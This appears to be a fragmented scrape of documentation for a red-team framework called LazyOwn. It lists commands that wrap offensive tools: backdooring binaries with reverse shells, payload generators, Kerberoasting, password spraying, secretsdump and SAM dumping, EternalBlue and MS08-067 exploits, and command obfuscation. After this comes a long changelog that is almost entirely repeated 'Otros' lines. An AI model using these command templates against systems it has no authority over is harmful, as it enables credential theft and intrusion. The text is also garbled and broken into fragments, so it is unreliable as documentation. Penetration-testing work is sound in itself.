options 13 or 14
to replace in sessions/rev.c
.seo
lazyseo.py
.
lazyseo.py
command to identify h1,h2,links,etc used by the target web application.params
dictionary.<target_host>
with the URL or IP address of the web application you want to scan.padbuster
smbattack
cacti_exploit
smalldic
ngrok
self.params["lport"]
is valid.wifipass
shellshock
powerserver
morse
morse.py
) that handles
the conversion processes. The function also manages keyboard interruptions
gracefully, allowing the user to exit the program cleanly.
morse.py
module is located in the modules
directory and is executable.KeyboardInterrupt
to allow safe exit from the Morse code converter.
morse.py
: The script that contains the logic for Morse code conversions.waybackmachine
c2
modules/run
exists.modules/run
file, replaces placeholders with actual values (lport, line, lhost),
and copies the updated content to the clipboard.lhost
and lport
parameters are valid before calling this function.
- The modules/run
file must exist and be correctly formatted.
- The server command is executed using os.system
, which may require additional handling for security.kick
sqli
sshkey
crunch
crunch
tool.crunch
command.
It allows the user to specify a custom character pattern for the wordlist.
sessions/
directory with the filename format dict_<length>.txt
malwarebazar
curl
to send a POST request to the API and saves the response in a JSON file.query_status
field to determine if there are results.
no_results
, prints a warning message and exits the function.
download_malwarebazar
malware.zip
) and will be password protected.
help malwarebazar
command.
run(command)
: Utility function used to execute the command for downloading the malware.sslscan
rhost
)
using the sslscan-singleip.sh
script. If a specific port is provided in the
line
argument, the scan will target that port; otherwise, it will scan
all available ports.params
attribute.
rhost
: sslscan
rhost
: sslscan 443
check_rhost()
function is used to validate the rhost
before running the scan.sslscan-singleip.sh
script must be present in the sessions
directory.cewl
dmitry
graudit
msfrpc
nuclei
parsero
sherlock
sessions
directory.
sessions
directory as a CSV file.--local
flag forces the use of a local data.json
file,
which should be present in the appropriate directory.trufflehog
weevelygen
weevely
changeme
enum4linux_ng
enum4linux-ng
.
enum4linux-ng
command with the -A
option to gather extensive information from the specified target.params
dictionary.<target_host>
with the IP address or hostname of the target system.fuzz
sharpshooter
sliver_server
gencert
kerbrute
dacledit
To execute the command for all users:
>>> do_dacledit("")
bloodyAD
To execute the command for all users:
>>> do_bloodyAD("")
evilwinrm
rhost
) is valid.line
argument is "pass", it searches for credential files with the pattern credentials*.txt
and allows the user to select which file to use for executing the command.line
is not "pass", it prints an error message indicating the correct usage.getTGT
rhost
) is valid.credentials.txt
file.apache_users
apache-users
.
apache-users
command with the -h
option to specified target.params
dictionary.<target_host>
with the IP address or hostname of the target system.backdoor_factory
backdoor-factory
.backdoor-factory
is installed, installs it if necessary, and then uses it to
inject a reverse shell payload into a specified binary file. The binary is backdoored with a
reverse shell payload that connects back to a specified host and port.<file_path>
with the path to the binary you want to backdoor, <lhost>
with the IP address of
the attacker’s machine, and <lport>
with the port number to listen on. The <output_file>
is the path
where the backdoored binary will be saved.davtest
davtest
.davtest
is installed and installs it if necessary. It then runs davtest
to perform a WebDAV server test against a specified URL or the default URL configured in self.params
.self.params["rhost"]
.<url>
with the URL of the WebDAV server you want to test.msfpc
msfpc
is installed and installs it if necessary. It then runs msfpc
with the specified parameters to create a payload for penetration testing.ivy
Ivy
is installed and installs it if necessary. It then runs Ivy
with the specified parameters to create various payloads.tord
tor.sh
script with superuser privileges,
it defaults to port 80.
The command is then printed and executed.
tor.sh
script exists in the sessions
directory and that you have the
necessary permissions to execute scripts with sudo
.generatedic
trace
line
, it defaults to using the URL specified in the
instance's parameters.self.params["url"]
.
self.params["url"]
is set with a valid URL if no domain
is provided.os.system
to execute the trace command, which may not
be the most secure or efficient method for production code. Consider using
a library like requests
for HTTP operations if security and efficiency
are concerns.veil
Veil-Evasion
is installed
and installs it if necessary. It then runs Veil-Evasion
with the specified parameters to create various payloads.empire
evil_ssdp
shellfire
graph
netexec
scarecrow
createmail
sessions
directory.
createmail
createmail
emails_{full_name}_{domain}.txt
within the sessions
directory.eyewitness
secretsdump
secretsdump.py
, use the following command:secretsdump.py <domain>/<username>:<password>@<ip_address>
getuserspns
GetUserSPNs.py
, use the following command:GetUserSPNs.py <domain>/<username>:<password> -dc-ip <IP of DC> -request
passwordspray
crackmapexec
for password spraying, use the following command:crackmapexec smb <IP Address> -u <users_file> -p <password> --continue-on-success
vscan
vscan
for port scanning, use the following command:./vscan -host <hosts> -p <ports>
shellshock
generate_revshell
alterx
is_binary_present("alterx")
to verify if the 'alterx' binary is available in the system.
bash
or zsh
), it appends the 'alterx' directory to the system PATH
by modifying the appropriate shell configuration file (~/.bashrc
or ~/.zshrc
). This ensures 'alterx'
can be executed from any directory.
self.params["url"]
.get_domain(url)
.line
, prompts the user to input a domain, defaulting to
the previously extracted domain.
subdomain_dic_<domain>.txt
.
is_binary_present()
and get_domain()
helper functions.allin
dr0p1t
gitdumper
powershell_cmd_stager
shellcode_search
ligolo
addusers
windapsearch
passtightvnc
Rex::Proto::RFB::Cipher.decrypt
function.
Rex::Proto::RFB::Cipher.decrypt
function with the hardcoded DES key and the hexadecimal password.shadowsocks
kusa
windapsearchscrapeusers
sAMAccountName
attribute for each user, and appends
the username to the sessions/users.txt file.downloader
ldapsearch
check_rhost
function.apt
).
-x
: Simple authentication (anonymous bind).-H
: Specifies the LDAP server URL (using the rhost).-b
: Specifies the search base (constructed from the domain).-s sub
: Indicates the search scope, where 'sub' performs a subtree search.userPrincipalName
attributes from the log, parses them, and appends the usernames (without domain) to a users.txt file for further analysis.eternal
LHOST
and RHOST
.cve
evidence
rejetto_hfs_exec
ms08_067_netapi
automsf
iis_webdav_upload_asp
nano
nc
nc
with the specified port for listening.nc
listener on the specified local port. It can use a port defined in the lport
parameter or a port provided as an argument.nc
listener. If not provided, it defaults to the lport
parameter.
:type line: str
:returns: None
nc
is installed and accessible from your command line.lport
parameter of the function.nc
on the specified port.lport
parameter. If a port is provided, it overrides the lport
value.nc
is running on the specified port and another message when the session is closed.
nc
: A tool used for creating reverse shells or bind shells.createjsonmachine
xss
arjun
transform
finger_user_enum
finger-user-enum
tool for enumerating users on the target host.finger-user-enum
script is available locally; if not, it clones
it from GitHub. It then constructs a command to run the tool with the provided wordlist of
usernames and target host, and executes the command in the system.duckyspark
username_anarchy
username-anarchy
and executes it.emp3r0r
template_helper_serializer
gospherus
wpscan
createjsonmachine_batch
ip2hex
john2keepas
sudo keepass2john {user_file} > sessions/hash.txt
.
If 'sessions/hash.txt' already exists, it will be backed up with a timestamp to avoid overwriting.keepass
mssqlcli
getadusers
crack_cisco_7_password
loxs
blazy
parth
breacher
xsstrike
penelope
v
./run --no-banner
script, which is
intended for use within the LazyOwn RedTeam Framework environment.ensure_tmux_session
function. If the session is not already running,
it will create a new one. After confirming that the session is active, it
proceeds to create a new vertical window with a specified size. The size of
the new window is currently set to 50% of the available terminal space../run --no-banner
command within it.h
./run --no-banner
script, which is
intended for use within the LazyOwn RedTeam Framework environment.ensure_tmux_session
function. If the session is not already running,
it will create a new one. After confirming that the session is active, it
proceeds to create a new horizontal window with a specified size. The size of
the new window is currently set to 50% of the available terminal space../run --no-banner
command within it.adgetpass
openredirex
feroxbuster
curl
command if it's not already installed.gowitness
odat
sireprat
createtargets
shellcode2sylk
sessions/shellcode.sylk
file.magicrecon
cubespraying
samdump2
samdump2
, use the following command:samdump2 sessions/SYSTEM sessions/SAM
stormbreaker
upload_bypass
hex_to_plaintext
find_tgts
setup_handler
conficker_exploit
smb_brute
setup_handler
php/meterpreter/reverse_tcp
.
- The handler is configured to listen on the provided LHOST and LPORT.
- Starts the exploit with the -j -z
options.cacti_exploit
-j -z
options.single_combo
double_combo
triple_combo
fourth_combo
fifth_combo
sixth_combo
intercalate_combo
expand_regex
install_netexec
install_netexec_pipx
double_base64_encode
cmd
is not a string.apply_obfuscations
double_base64_encode
function is defined and available in the scope where this function is used.cmd
is not a string.alternate_case
Changelog
Pruebas
Otros
Refactorización
Otros
Nuevas características
Otros
Nuevas características
Otros
Nuevas características
Otros
Refactorización
Otros
Correcciones
Otros
Nuevo parche
Otros
Nuevas características
Otros
Nuevas características
Otros
Nuevas características
Otros
Nuevas características
Otros
Nuevo Release
Otros
Nuevas características
Otros
Correcciones
Otros
Nuevo parche
Otros
Nuevo Release
Otros
Nuevo Release
Otros
Nuevo Release
Otros
Otros
Otros
Nuevo Release
Otros
Nuevo Release
Otros
Nuevo Release
Otros
Nuevo parche
Otros
Nuevo Release
Otros
Nuevo parche
Otros
Nuevo parche
Otros
Nuevo Release
Otros
Nuevo Release
Otros
Nuevo Release
Otros
Nuevo parche
Otros
Nuevo parche
Otros
Correcciones
Otros
Nuevo Release
Otros
Pruebas
Otros
Otros
Otros
Pruebas
Otros
Nuevas características
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Otros
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Refactorización
Otros
Otros
Otros
Otros
Otros
Refactorización
Otros
Refactorización
Otros
Documentación
Otros
Refactorización
Otros
Otros
Otros
Nuevas características
Otros
Nuevas características
Otros
Nuevas características
Otros
Correcciones
Otros
Correcciones
Otros
Refactorización
Otros
Otros
Otros
Nuevas características
Otros
Pruebas
Otros
Pruebas
Otros
Nuevas características
Otros
Pruebas
Otros
Documentación
Otros
Pruebas
Otros
Correcciones
Otros
Refactorización
Otros
Nuevas características
Otros
Pruebas
Otros
Otros
Otros
Refactorización
Otros
Nuevas características
Otros
Otros
Otros
Nuevas características
Otros
Pruebas
Otros
Nuevas características
Otros
Nuevas características
Otros
Correcciones
Otros
Documentación
Otros
Otros
Otros
Otros
Otros
Pruebas
Otros
Pruebas
Otros
Nuevas características
Otros
Nuevas características
Otros
Pruebas
Otros
Correcciones urgentes
Otros
Pruebas
Otros
Pruebas
Otros
Otros
Otros
Pruebas
Otros
Pruebas
Otros
Documentación
Otros
Documentación
Otros
Documentación
Otros
Documentación
Otros
Nuevas características
Otros
Otros
Otros
Otros
Otros
Documentación
Otros
Documentación
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Correcciones urgentes
Otros
Otros
Otros
Otros
Otros
Correcciones
Otros
Nuevas características
Otros
Otros
Otros
Correcciones
Otros
Otros
Otros
Otros
Otros
Pruebas
Otros
Refactorización
Otros
Nuevas características
Otros
Documentación
Otros
Documentación
Otros
Nuevas características
Otros
Correcciones
Otros
Documentación
Otros
Nuevas características
Otros
Refactorización
Otros
Otros
Otros
Nuevas características
Otros
Nuevas características
Otros
Nuevas características
Otros
Nuevas características
Otros
Correcciones
Otros
Otros
Otros
Documentación
Otros
Nuevas características
Otros
Nuevas características
Otros
Otros
Otros
Nuevas características
Otros
Nuevas características
Otros
Correcciones
Otros
Pruebas
Otros
Refactorización
Otros
Otros
Otros
Pruebas
Otros
Nuevas características
Otros
Otros
Otros
Nuevas características
Otros
Nuevas características
Otros
Documentación
Otros
Documentación
Otros
Correcciones
Otros
Correcciones
Otros
Correcciones
Otros
Correcciones
Otros
Correcciones
Otros
Correcciones
Otros
Correcciones
Otros
Correcciones
Otros
Nuevo Release
Otros
Correcciones urgentes
Otros
Nuevas características
Otros
Nuevo parche
Otros
Pruebas
Otros
Nuevas características
Otros
Correcciones
Otros
Otros
Otros
Pruebas
Otros
Correcciones urgentes
Otros
Otros
Otros
Nuevas características
Otros
Documentación
Otros
Documentación
Otros
Otros
Otros
Documentación
Otros
Documentación
Otros
Refactorización
Otros
Pruebas
Otros
Otros
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Documentación
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Otros
Otros
Pruebas
Otros
Documentación
Otros
Correcciones urgentes
Otros
Otros
Otros
Pruebas
Otros
Correcciones urgentes
Otros
Pruebas
Otros
Pruebas
Otros
Pruebas
Otros
Otros
Otros
Otros
Otros
Nuevas características
Otros
Documentación
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Documentación
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros
Otros